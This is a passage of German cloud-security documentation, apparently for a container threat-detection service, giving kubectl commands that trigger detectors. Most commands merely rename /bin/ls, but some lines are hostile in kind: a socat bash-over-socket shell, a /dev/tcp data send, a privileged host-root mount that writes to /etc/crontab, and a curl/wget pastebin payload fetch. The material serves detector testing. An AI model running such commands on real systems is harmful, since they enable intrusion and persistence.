Um ein Execution: Netcat Remote Code Execution In Container-Ereignis auszulösen, muss eine Binärdatei, die zur Netzwerkkommunikation fähig ist (z. B. netcat selbst oder eine umbenannte Kopie eines anderen Dienstprogramms), im Container vorhanden sein und ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image als Basis bereitgestellt. Die Binärdatei /bin/ls wird kopiert und die Kopie wird in nc (ein Netzwerkdienstprogramm) umbenannt. Diese umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die für die Netzwerkinteraktion geeignet sind. Diese Aktivität wird als verdächtig gekennzeichnet, da sie das Verhalten nachahmt, das häufig bei tatsächlichen Versuchen zur Remote-Codeausführung in containerisierten Umgebungen beobachtet wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie ein Binärprogramm für Netzwerkkommunikation wie nc ein und führen Sie es mit den entsprechenden Argumenten aus:

    • x86-Knoten:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nc; /tmp/nc -e"
      
    • ARM-Knoten:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nc; /tmp/nc -e"
      

Bei diesem Testverfahren wird ein Execution: Netcat Remote Code Execution In Container-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Mögliche Ausführung beliebiger Befehle über CUPS (CVE-2024-47076)

Damit ein Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)-Ergebnis ausgelöst wird, muss ein Shell-Prozess durch den foomatic-rip ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. /bin/bash wird nach /tmp/foomatic-rip kopiert. Diese umbenannte und kopierte Binärdatei wird als Shell-Skript ausgeführt, um einen untergeordneten Shell-Befehl zu erstellen. Dieses Verhalten wird als verdächtig gekennzeichnet, da es auf einen Versuch hindeuten kann, beliebige Arbeitslasten auf kompromittierten Systemen auszuführen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie den Befehl mit den entsprechenden Argumenten aus:

    • x86-Knoten:

      tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
         'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
      
    • ARM-Knoten:

      tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
      

Bei diesem Testverfahren wird ein Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Mögliche Remote-Befehlsausführung erkannt

Damit ein Execution: Possible Remote Command Execution Detected-Ergebnis (Vorschau) ausgelöst wird, muss die Ausführung eines Befehls oder einer Binärdatei, die häufig mit der Remote-Befehlsausführung in Verbindung gebracht wird, in einem Container beobachtet werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. /bin/ls wird kopiert und in touch (oder ein anderes Tool wie find) umbenannt. Diese umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die für die Remote-Befehlsausführung geeignet sind. Dieses Verhalten wird als verdächtig gekennzeichnet, da es auf einen Versuch hindeuten kann, einen nicht autorisierten Remotezugriff auf den Container oder vom Container aus einzurichten.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei wie touch mit den entsprechenden Argumenten aus:

    • x86-Knoten:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      
    • ARM-Knoten:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      

Bei diesem Testverfahren wird ein Execution: Possible Remote Command Execution Detected-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Programmausführung mit nicht zulässiger HTTP-Proxy-Umgebung

Wenn Sie ein Execution: Program Run with Disallowed HTTP Proxy Env-Ergebnis auslösen möchten, führen Sie ein Programm in einem Container aus und legen Sie eine HTTP-Proxy-Umgebungsvariable auf einen unzulässigen Wert fest. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/curl umbenannt. Diese umbenannte Binärdatei wird dann mit einem nicht zulässigen Wert für eine HTTP-Proxy-Umgebungsvariable (z. B. HTTP_PROXY, http_proxy) ausgeführt. Die Kombination aus Programmausführung und dem Vorhandensein einer nicht zulässigen HTTP-Proxy-Umgebung wird als verdächtig gekennzeichnet, da sie auf einen Versuch hindeutet, über einen nicht autorisierten Proxy zu kommunizieren.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine netzwerkfähige Binärdatei wie curl mit einer unzulässigen HTTP-Proxy-Umgebungsvariablen aus:

    • x86-Knoten:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      
    • ARM-Knoten:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      

Bei diesem Testverfahren wird ein Execution: Program Run with Disallowed HTTP Proxy Env-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Socat-Reverse-Shell erkannt

Damit ein Execution: Socat Reverse Shell Detected-Ergebnis ausgelöst wird, muss vom Dienstprogramm socat eine Reverse-Shell-Verbindung für den Prozess hergestellt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm socat wird installiert und ein lokaler TCP-Listener wird erstellt und dann vom Dienstprogramm „socat“ gebunden. Die von socat erstellte Reverse-Shell wird als verdächtig gekennzeichnet, da sie es einem Angreifer ermöglicht, beliebige Arbeitslasten auf dem System auszuführen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Erstellen Sie einen Container und führen Sie das Dienstprogramm socat aus:

    • x86-Knoten:

      tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"
      
    • ARM-Knoten:

      tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"
      

Bei diesem Testverfahren wird ein Execution: Socat Reverse Shell Detected-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Verdächtige Cron-Änderung (Vorschau)

Wenn Sie eine Erkennung einer verdächtigen Cron-Änderung auslösen möchten, ändern Sie die Datei /etc/crontab des Hosts aus einem Container. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt und das Stammdateisystem des Hosts im Container bereitgestellt. Anschließend wird die crontab-Datei aktualisiert.

Dies ist ein Detektor für das Dateimonitoring und unterliegt spezifischen GKE-Versionsanforderungen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie einen Befehl aus, um die Datei /etc/crontab des Hosts zu ändern.

    • x86-Knoten:

      tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • ARM-Knoten:

      tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

      Dieses Testverfahren löst ein Ergebnis vom Typ „Verdächtige Cron-Änderung“ aus, das Sie im Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging ansehen können. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Ausführung: Verdächtiges freigegebenes OpenSSL-Objekt geladen

Wenn Sie ein Execution: Suspicious OpenSSL Shared Object Loaded-Ergebnis auslösen möchten, führen Sie den Befehl openssl engine mit einem Argument aus, das eine Datei mit der Endung .so ist. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert und in /tmp/openssl umbenannt. Diese umbenannte Binärdatei wird dann mit den Argumenten engine und der gefälschten Datei .so ausgeführt. Die Ausführung von openssl engine mit einer .so-Datei wird als verdächtig gekennzeichnet, da sie das Verhalten eines freigegebenen Objekts nachahmt, das geladen wird, um schädlichen Code auszuführen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie openssl engine mit einem gefälschten Argument für die gemeinsam genutzte Objektbibliothek aus:

    • x86-Knoten:

      tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"
      
    • ARM-Knoten:

      tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"
      

Bei diesem Testverfahren wird ein Execution: Suspicious OpenSSL Shared Object Loaded-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Exfiltration: Remote-Tools zum Kopieren von Dateien im Container gestartet

Wenn Sie ein Exfiltration: Launch Remote File Copy Tools In Container-Ergebnis auslösen möchten, führen Sie ein gängiges Remote-Tool zum Kopieren von Dateien in einem Container aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/ls wird kopiert, in /tmp/rsync umbenannt und dann ausgeführt, um eine Datei von einer Remote-Quelle abzurufen, die potenziell bösartig ist. Die Ausführung eines solchen Tools mit Argumenten zum Abrufen von Remote-Dateien in einem Container wird als verdächtig gekennzeichnet, da dies auf einen Versuch hindeuten könnte, schädlichen Code herunterzuladen und auszuführen oder Daten zu exfiltrieren.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie ein Tool zum Kopieren von Remotedateien wie rsync aus:

    • x86-Knoten:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      
    • ARM-Knoten:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      

Bei diesem Testverfahren wird ein Exfiltration: Launch Remote File Copy Tools In Container-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Auswirkungen: Erkennung schädlicher Cmdline-Dateien

Damit ein Impact: Detect Malicious Cmdlines-Ergebnis (Vorschau) ausgelöst wird, muss die Ausführung einer Befehlszeile mit bekannten schädlichen Mustern oder Argumenten in einem Container beobachtet werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird die Binärdatei /bin/ls kopiert und die Kopie in ipfs umbenannt. Die umbenannte Binärdatei wird dann ausgeführt. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, schädlichen Code auszuführen oder Sicherheitskontrollen zu umgehen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei wie ipfs aus:

    • x86-Knoten:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      
    • ARM-Knoten:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      

Bei diesem Testverfahren wird ein Impact: Detect Malicious Cmdlines-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Auswirkung: Bulk-Entfernung von Daten von Laufwerk

Wenn Sie ein Impact: Remove Bulk Data From Disk-Ergebnis auslösen möchten, platzieren Sie eine Binärdatei, die Daten löschen oder überschreiben kann, in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird die Binärdatei /bin/ls kopiert und die Kopie in shred (oder ein ähnliches Dienstprogramm zum sicheren Löschen von Dateien) umbenannt. Das umbenannte Binärprogramm wird dann ausgeführt. Diese Aktion wird als verdächtig gekennzeichnet, da sie das Verhalten nachahmt, das häufig zu beobachten ist, wenn versucht wird, große Datenmengen von einem Laufwerk in einer containerisierten Umgebung zu entfernen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei zum Löschen von Dateien oder Daten wie shred ein und führen Sie sie aus:

    • x86-Knoten:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      
    • ARM-Knoten:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      

Bei diesem Testverfahren wird ein Impact: Remove Bulk Data From Disk-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Auswirkung: Verdächtige Cryptomining-Aktivität mit Stratum-Protokoll

Um ein Impact: Suspicious crypto mining activity using the Stratum Protocol-Ergebnis auszulösen, muss eine Binärdatei in einem Container mit Argumenten ausgeführt werden, die denen ähneln, die von Kryptowährungs-Mining-Software verwendet werden, die über das Stratum-Protokoll kommuniziert. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. /bin/ls wird kopiert und die Kopie in eine Schein-Binärdatei umbenannt (vermutlich, um einen Crypto Miner zu simulieren). Diese umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die stratum+tcp oder ähnliche Stratum-Protokollindikatoren enthalten. Diese Aktivität wird als verdächtig gekennzeichnet, da sie die Netzwerkkommunikationsmuster von Kryptomining-Software in containerisierten Umgebungen nachahmt.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Dienstprogramm-Binärdatei wie curl ein und führen Sie sie mit Argumenten aus, die denen ähneln, die von Kryptomining-Software verwendet werden, die über das Stratum-Protokoll kommuniziert:

    • x86-Knoten:

      tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      
    • ARM-Knoten:

      tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      

Bei diesem Testverfahren wird ein Impact: Suspicious crypto mining activity using the Stratum Protocol-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Möglicherweise wird auch ein zusätzliches Ergebnis für den Befehl bash angezeigt, den Sie in diesem Test ausführen. Dieses Verhalten ist normal und Sie können das zusätzliche Ergebnis ignorieren.

Schädliches Script ausgeführt

Wenn Sie das Ergebnis „Ausführung eines schädlichen Skripts“ auslösen möchten, können Sie das Skript im folgenden Verfahren in Ihrem Container ausführen.

Bei diesem Verfahren wird das neueste Ubuntu 24.04-Image bereitgestellt, ein Skript kopiert, das bösartig erscheint, und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss ein Skript durch den Detektor als schädlich eingestuft werden.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie das folgende Script in einem neuen Container aus.

    Dieses Inline-Bourne-Shell-Script stammt aus einem Honeypot. Es wurde jedoch so geändert, dass die schädliche Binärdatei nicht ausgeführt wird. Das Ausführen des Skripts verursacht also keine schädlichen Aktivitäten in Ihrem Container. Die Binärdatei unter der referenzierten URL wurde möglicherweise entfernt. Wenn Sie versuchen, die URL aufzurufen, wird ein 404-Fehler zurückgegeben. Dies ist zu erwarten. Der Versuch, ein Binärprogramm mithilfe eines Inline-Scripts herunterzuladen, zu decodieren und auszuführen, löst die Erkennung aus.

    • x86-Knoten:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      
    • ARM-Knoten:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      

Bei diesem Testverfahren wird ein Ergebnis des Typs "Schädliches Skript ausgeführt" erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Schädliche URL beobachtet

Führen Sie eine Binärdatei aus und geben Sie eine schädliche URL als Argument an, um ein Ergebnis vom Typ „Schädliche URL beobachtet“ auszulösen.

Im folgenden Beispiel wird ein Ubuntu 24.04-Image bereitgestellt und /bin/curl ausgeführt, um über den Safe Browsing-Dienst auf eine Beispiel-Malware-URL zuzugreifen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie curl aus und geben Sie eine schädliche URL als Argument an:

    • x86-Knoten:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"
      
    • ARM-Knoten:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
            --restart=Never \
            --rm=true -i \
            --image marketplace.gcr.io/google/ubuntu2404:latest \
            --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
